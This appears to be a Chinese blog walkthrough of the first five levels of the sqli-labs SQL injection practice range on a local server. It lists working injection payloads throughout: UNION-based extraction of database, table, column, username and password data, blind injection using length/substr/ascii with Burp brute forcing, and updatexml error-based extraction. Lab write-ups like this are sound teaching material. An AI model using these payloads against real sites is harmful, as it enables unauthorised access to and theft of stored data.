sql注入靶场

第一关:

输入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+

使用--+来闭合单引号,证明此处存在字符型的SQL注入。

使用order by 判断字段数:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20%20order%20by%203--+

在这里先使用order by 4 报错,在使用order by 3正常,证明此处字段数为3

使用union select 判断注入点,使用?id=-1,目的是联合查询,即同时查询两个SQL语句,使用-1是让前面的语句报错,只输出后面的结果。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

代表在23存在注入点,以选择任意一个进行注入:

直接爆数据库:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+

爆表名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆表名:' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据:' union select 1,group_concat(username),group_concat(password) from users--+

第二关:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

发现报错,删除单引号:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1' --+报错

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --+正常

代表存在数字型的SQL注入

使用order by 判断字段数:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+报错

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+正常

此处存在3个字段数:

后面和第一关一样操作即可,只需去掉第一关的单引号

第三关:

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'--+

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1--+依旧报错,此处和第一关和第二关都不同,使用')闭合,尝试报错

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+

即证明此处存在SQL注入,

第四关:

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1' --+正常

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1") 报错

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1")--+正常

证明存在SQL注入。

盲注

第五关:

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1,发现返回的是you are in…,并未像之前一样返回了具体数据,因此可以判断是盲注类型的注入!

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  报错

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1’--+正常返回的是you are in…

表明存在SQL注入,且为盲注型的SQL注入:

爆破数据库:

使用length判断长度:?id=1' and length(database())=8--+,这里8是判断数据的长度数,可依次尝试:

当数据库的长度为7时即报错:

知道数据库的长度为7,开始爆破数据库名,使用:

备注:substr(string ,a,b)表示,截取字符串string从第a位开始,截取b

?id=1' and ascii(substr(database(),1,1))=115--+          //115对应的ascii码是s

使用burp进行抓包,暴力破解

设置攻击载荷

按照顺序将数字写下来,依次是:

115   101  99  117   114  105 116  121

对应ASCII码的值为:security

这里解释一下函数limitsubstr

limit 0,1                     #意思是从0个开始,获取第一个

substr(xxx,2,1)            #意思是从字符串xxx的第2个字符开始,截取1个

办法二、使用updatexml函数:

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(%27!%27,database(),%27!%27),1)--+

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

爆破列:

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

爆破数据:

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值